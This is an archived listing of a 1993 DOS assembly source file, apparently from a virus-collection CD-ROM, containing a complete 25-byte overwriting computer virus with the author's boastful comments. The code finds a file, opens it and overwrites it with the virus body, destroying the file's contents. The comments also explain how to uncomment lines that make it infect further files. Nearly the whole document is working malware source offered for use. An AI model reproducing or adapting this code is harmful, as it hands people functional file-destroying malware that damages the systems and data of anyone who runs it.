home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / 25.ASM < prev    next >
Assembly Source File  |  1995-05-23  |  2KB  |  46 lines

  1. ; The EXEcution I Virus.
  2. ;
  3. ; Well, you're now the prouw owner of the smallest virus ever made!
  4. ; only 25 bytes long (26 with return to DOS) and ofcourse very lame..
  5. ; But what the heck, it's just an educational piece of code!!
  6. ; (If you want it to be a little bit better, uncomment the commented lines
  7. ; and you'll have The EXEcution II virus a la 32 bytes.)
  8. ;
  9. ; (C) 1993 by [DαRkRαY] of TridenT (Ooooooranje Boooooooven!)
  10. ;
  11. ; Tnx to myself, my assembler, DOS (yuck) and to John Tardy for his
  12. ; nice try to make the smallest (27 bytes) virus... gotcha!! ;-))
  13. ;
  14. ; BTW Don't forget, I only tested it unter DOS 5.0 so on other versions
  15. ; it might not work!
  16.  
  17. _CODE   SEGMENT
  18.         ASSUME  CS:_CODE
  19.  
  20.         ORG     100h
  21. START:                                 ; That's where we're starting...
  22.         FILE    DB '*.*',0h            ; Dummy instruction, SUB's 0FFh from CH
  23.  
  24.         MOV     AH,4Eh                 ; Let's search!
  25.         MOV     DX,SI                  ; Make DX = 100h (offset file)
  26. FIND:   INT     21h                    ; Search now dude!
  27.  
  28.         MOV     AX,3D01h               ; Hmm, infect that fucking file!
  29.         MOV     DX,9Eh                 ; Name is at DS:[9Eh]
  30.         INT     21h                    ; Go do it!
  31. ;        JC      END
  32.         XCHG    BX,AX                  ; Put the handle in BX
  33.  
  34.         MOV     AH,40h                 ; Write myself!
  35.         MOV     DX,SI                  ; From offset 100h
  36.         INT     21h                    ; Go write!
  37. ;        MOV     AH,4Fh
  38. ;        JMP     FIND
  39. END:
  40. ;        RET                            ; Exit, can be used to get to dos instead
  41.                                        ; of crashing your system, HANDY! (but 1 byte)
  42. _CODE   ENDS
  43.         END     START
  44.  
  45. ; If you don't like my english: Get lost, you can understand it!
  46.